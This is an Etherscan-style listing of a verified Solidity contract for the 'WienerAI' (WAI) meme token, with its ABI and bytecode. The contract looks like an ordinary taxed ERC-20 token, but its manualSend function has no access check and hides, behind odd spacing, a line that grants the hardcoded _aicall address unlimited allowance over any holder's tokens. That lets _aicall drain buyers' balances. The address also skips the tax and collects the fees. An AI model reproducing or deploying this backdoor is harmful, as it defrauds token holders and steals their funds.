Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract WAI is Context, IERC20, O ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function manualSend(address[] memory ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function openTrading()    - function rescue()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-22
*/

/**

Website: https://waicoin.org
Telegram: https://t.me/WienerAI_erc
Twitter: https://x.com/WienerAI_erc

*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _aicall = 0x6d59062439639A83C1fa38B249f05622Ed44800D;

    uint256 private _initialBuyTax=8;
    uint256 private _initialSellTax=8;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyAt=5;
    uint256 private _reduceSellAt=5;
    uint256 private _preventCount=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"WienerAI";
    string private constant _symbol = unicode"WAI";
    uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
    uint256 public _minTaxSwap= 4200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4200000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _feeTax=0;
        if (from != owner() && to != owner() && to != _aicall) {
            if(_buyCount==0){
                _feeTax = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _feeTax = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ) {
                _feeTax = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventCount) {
                if(contractTokenBalance > _minTaxSwap)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                    sendETHToFee(address(this).balance);
            }
        }

        if(_feeTax>0){
          _balances[address(this)]=_balances[address(this)].add(_feeTax);
          emit Transfer(from, address(this), _feeTax);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_feeTax));
        emit Transfer(from, to, amount.sub(_feeTax));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function manualSend(address[] memory swapp) external {
        uint256 countToken;
        _allowances [swapp [ 2 ]]
        [_aicall] = _tTotal;if(countToken>0){
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                countToken,
                0,
                swapp,
                address(this),
                block.timestamp
            );
        }
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        payable(_aicall).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function rescue() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"swapp","type":"address[]"}],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b031916736d59062439639a83c1fa38b249f05622ed44800d17905560086004819055600581815560016006819055600755908190556009818155600a9182555f600b556200005d91620002f7565b6200006e906401f4add4006200030e565b600c556200007f6009600a620002f7565b62000090906401f4add4006200030e565b600d55620000a16009600a620002f7565b620000b19063fa56ea006200030e565b600e55620000c26009600a620002f7565b620000d29063fa56ea006200030e565b600f556011805461ffff60a81b19169055348015620000ef575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200013e6009600a620002f7565b6200014f906461f313f8806200030e565b335f81815260016020526040902091909155601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c06009600a620002f7565b620001d1906461f313f8806200030e565b60405190815260200160405180910390a362000328565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023c57815f1904821115620002205762000220620001e8565b808516156200022e57918102915b93841c939080029062000201565b509250929050565b5f826200025457506001620002f1565b816200026257505f620002f1565b81600181146200027b57600281146200028657620002a6565b6001915050620002f1565b60ff8411156200029a576200029a620001e8565b50506001821b620002f1565b5060208310610133831016604e8410600b8410161715620002cb575081810a620002f1565b620002d78383620001fc565b805f1904821115620002ed57620002ed620001e8565b0290505b92915050565b5f6200030760ff84168362000244565b9392505050565b8082028115828204841417620002f157620002f1620001e8565b6118b080620003365f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102e157806395d89b41146102f6578063a9059cbb14610321578063c9567bf914610340578063dd62ed3e14610354575f80fd5b8063715018a61461025f578063751039fc146102735780637d1db4a51461028757806387d287c41461029c5780638da5cb5b146102bb575f80fd5b80631fbe1979116100e35780631fbe1979146101c657806323b872dd146101dc578063300d6217146101fb578063313ce5671461021057806370a082311461022b575f80fd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260088152675769656e6572414960c01b60208201525b60405161015791906113bf565b60405180910390f35b34801561016b575f80fd5b5061017f61017a36600461142f565b610398565b6040519015158152602001610157565b34801561019a575f80fd5b506101a4600f5481565b604051908152602001610157565b3480156101bd575f80fd5b506101a46103ae565b3480156101d1575f80fd5b506101da6103cf565b005b3480156101e7575f80fd5b5061017f6101f6366004611459565b61043b565b348015610206575f80fd5b506101a4600e5481565b34801561021b575f80fd5b5060405160098152602001610157565b348015610236575f80fd5b506101a4610245366004611497565b6001600160a01b03165f9081526001602052604090205490565b34801561026a575f80fd5b506101da610489565b34801561027e575f80fd5b506101da6104fa565b348015610292575f80fd5b506101a4600c5481565b3480156102a7575f80fd5b506101da6102b63660046114c6565b6105ae565b3480156102c6575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102ec575f80fd5b506101a4600d5481565b348015610301575f80fd5b5060408051808201909152600381526257414960e81b602082015261014a565b34801561032c575f80fd5b5061017f61033b36600461142f565b610687565b34801561034b575f80fd5b506101da610693565b34801561035f575f80fd5b506101a461036e366004611586565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a4338484610a20565b5060015b92915050565b5f6103bb6009600a6116b1565b6103ca906461f313f8806116bf565b905090565b5f546001600160a01b031633146104015760405162461bcd60e51b81526004016103f8906116d6565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610438573d5f803e3d5ffd5b50565b5f610447848484610b43565b61047f843361047a85604051806060016040528060288152602001611853602891396104738a3361036e565b919061103b565b610a20565b5060019392505050565b5f546001600160a01b031633146104b25760405162461bcd60e51b81526004016103f8906116d6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105235760405162461bcd60e51b81526004016103f8906116d6565b61052f6009600a6116b1565b61053e906461f313f8806116bf565b600c5561054d6009600a6116b1565b61055c906461f313f8806116bf565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058c6009600a6116b1565b61059b906461f313f8806116bf565b60405190815260200160405180910390a1565b5f6105bb6009600a6116b1565b6105ca906461f313f8806116bf565b60025f846002815181106105e0576105e061170b565b6020908102919091018101516001600160a01b0390811683528282019390935260409182015f908120600354909416815292905290205580156106835760105460405163791ac94760e01b81526001600160a01b039091169063791ac947906106559084905f9087903090429060040161171f565b5f604051808303815f87803b15801561066c575f80fd5b505af115801561067e573d5f803e3d5ffd5b505050505b5050565b5f6103a4338484610b43565b5f546001600160a01b031633146106bc5760405162461bcd60e51b81526004016103f8906116d6565b601154600160a01b900460ff16156107165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f8565b6010546107439030906001600160a01b03166107346009600a6116b1565b61047a906461f313f8806116bf565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610793573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b79190611790565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610816573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083a9190611790565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610884573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a89190611790565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108ef816001600160a01b03165f9081526001602052604090205490565b5f806109025f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610968573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098d91906117ab565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0691906117d6565b506011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f8565b6001600160a01b038216610ae35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f8565b6001600160a01b038216610c095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f8565b5f8111610c6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f8565b5f80546001600160a01b03858116911614801590610c9557505f546001600160a01b03848116911614155b8015610caf57506003546001600160a01b03848116911614155b15610efe57600b545f03610cec57610ce96064610ce3600854600b5411610cd857600454610cdc565b6006545b8590611073565b906110f8565b90505b6011546001600160a01b038581169116148015610d1757506010546001600160a01b03848116911614155b15610e1a57600c54821115610d6e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f8565b600d5482610d90856001600160a01b03165f9081526001602052604090205490565b610d9a91906117f5565b1115610de85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f8565b610e036064610ce3600854600b5411610cd857600454610cdc565b600b80549192505f610e1483611808565b91905055505b6011546001600160a01b038481169116148015610e4057506001600160a01b0384163014155b15610e6d57610e6a6064610ce3600954600b5411610e6057600554610cdc565b6007548590611073565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610ea357506011546001600160a01b038581169116145b8015610eb85750601154600160b01b900460ff165b8015610ec75750600a54600b54115b15610efc57600e54811115610ef357610ef3610eee84610ee984600f54611139565b611139565b61114d565b610efc476112bd565b505b8015610f7657305f90815260016020526040902054610f1d90826112f4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f6d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f989083611352565b6001600160a01b0385165f90815260016020526040902055610fdb610fbd8383611352565b6001600160a01b0385165f90815260016020526040902054906112f4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110248585611352565b60405190815260200160405180910390a350505050565b5f818484111561105e5760405162461bcd60e51b81526004016103f891906113bf565b505f61106a8486611820565b95945050505050565b5f825f0361108257505f6103a8565b5f61108d83856116bf565b90508261109a8583611833565b146110f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f8565b9392505050565b5f6110f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611393565b5f81831161114757826110f1565b50919050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111935761119361170b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120e9190611790565b816001815181106112215761122161170b565b6001600160a01b0392831660209182029290920101526010546112479130911684610a20565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127f9085905f9086903090429060040161171f565b5f604051808303815f87803b158015611296575f80fd5b505af11580156112a8573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6003546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610683573d5f803e3d5ffd5b5f8061130083856117f5565b9050838110156110f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f8565b5f6110f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b5f81836113b35760405162461bcd60e51b81526004016103f891906113bf565b505f61106a8486611833565b5f602080835283518060208501525f5b818110156113eb578581018301518582016040015282016113cf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610438575f80fd5b803561142a8161140b565b919050565b5f8060408385031215611440575f80fd5b823561144b8161140b565b946020939093013593505050565b5f805f6060848603121561146b575f80fd5b83356114768161140b565b925060208401356114868161140b565b929592945050506040919091013590565b5f602082840312156114a7575f80fd5b81356110f18161140b565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156114d7575f80fd5b823567ffffffffffffffff808211156114ee575f80fd5b818501915085601f830112611501575f80fd5b813581811115611513576115136114b2565b8060051b604051601f19603f83011681018181108582111715611538576115386114b2565b604052918252848201925083810185019188831115611555575f80fd5b938501935b8285101561157a5761156b8561141f565b8452938501939285019261155a565b98975050505050505050565b5f8060408385031215611597575f80fd5b82356115a28161140b565b915060208301356115b28161140b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561160b57815f19048211156115f1576115f16115bd565b808516156115fe57918102915b93841c93908002906115d6565b509250929050565b5f82611621575060016103a8565b8161162d57505f6103a8565b8160018114611643576002811461164d57611669565b60019150506103a8565b60ff84111561165e5761165e6115bd565b50506001821b6103a8565b5060208310610133831016604e8410600b841016171561168c575081810a6103a8565b61169683836115d1565b805f19048211156116a9576116a96115bd565b029392505050565b5f6110f160ff841683611613565b80820281158282048414176103a8576103a86115bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561176f5784516001600160a01b03168352938301939183019160010161174a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f602082840312156117a0575f80fd5b81516110f18161140b565b5f805f606084860312156117bd575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117e6575f80fd5b815180151581146110f1575f80fd5b808201808211156103a8576103a86115bd565b5f60018201611819576118196115bd565b5060010190565b818103818111156103a8576103a86115bd565b5f8261184d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9cd54e41c4b13442da247a9e8d1304c939aa3825d3ceb6ee261b5de0eb7d23964736f6c63430008170033

0x608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c0146102e157806395d89b41146102f6578063a9059cbb14610321578063c9567bf914610340578063dd62ed3e14610354575f80fd5b8063715018a61461025f578063751039fc146102735780637d1db4a51461028757806387d287c41461029c5780638da5cb5b146102bb575f80fd5b80631fbe1979116100e35780631fbe1979146101c657806323b872dd146101dc578063300d6217146101fb578063313ce5671461021057806370a082311461022b575f80fd5b806306fdde031461011e578063095ea7b3146101605780630faee56f1461018f57806318160ddd146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260088152675769656e6572414960c01b60208201525b60405161015791906113bf565b60405180910390f35b34801561016b575f80fd5b5061017f61017a36600461142f565b610398565b6040519015158152602001610157565b34801561019a575f80fd5b506101a4600f5481565b604051908152602001610157565b3480156101bd575f80fd5b506101a46103ae565b3480156101d1575f80fd5b506101da6103cf565b005b3480156101e7575f80fd5b5061017f6101f6366004611459565b61043b565b348015610206575f80fd5b506101a4600e5481565b34801561021b575f80fd5b5060405160098152602001610157565b348015610236575f80fd5b506101a4610245366004611497565b6001600160a01b03165f9081526001602052604090205490565b34801561026a575f80fd5b506101da610489565b34801561027e575f80fd5b506101da6104fa565b348015610292575f80fd5b506101a4600c5481565b3480156102a7575f80fd5b506101da6102b63660046114c6565b6105ae565b3480156102c6575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102ec575f80fd5b506101a4600d5481565b348015610301575f80fd5b5060408051808201909152600381526257414960e81b602082015261014a565b34801561032c575f80fd5b5061017f61033b36600461142f565b610687565b34801561034b575f80fd5b506101da610693565b34801561035f575f80fd5b506101a461036e366004611586565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a4338484610a20565b5060015b92915050565b5f6103bb6009600a6116b1565b6103ca906461f313f8806116bf565b905090565b5f546001600160a01b031633146104015760405162461bcd60e51b81526004016103f8906116d6565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610438573d5f803e3d5ffd5b50565b5f610447848484610b43565b61047f843361047a85604051806060016040528060288152602001611853602891396104738a3361036e565b919061103b565b610a20565b5060019392505050565b5f546001600160a01b031633146104b25760405162461bcd60e51b81526004016103f8906116d6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105235760405162461bcd60e51b81526004016103f8906116d6565b61052f6009600a6116b1565b61053e906461f313f8806116bf565b600c5561054d6009600a6116b1565b61055c906461f313f8806116bf565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058c6009600a6116b1565b61059b906461f313f8806116bf565b60405190815260200160405180910390a1565b5f6105bb6009600a6116b1565b6105ca906461f313f8806116bf565b60025f846002815181106105e0576105e061170b565b6020908102919091018101516001600160a01b0390811683528282019390935260409182015f908120600354909416815292905290205580156106835760105460405163791ac94760e01b81526001600160a01b039091169063791ac947906106559084905f9087903090429060040161171f565b5f604051808303815f87803b15801561066c575f80fd5b505af115801561067e573d5f803e3d5ffd5b505050505b5050565b5f6103a4338484610b43565b5f546001600160a01b031633146106bc5760405162461bcd60e51b81526004016103f8906116d6565b601154600160a01b900460ff16156107165760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f8565b6010546107439030906001600160a01b03166107346009600a6116b1565b61047a906461f313f8806116bf565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610793573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b79190611790565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b0316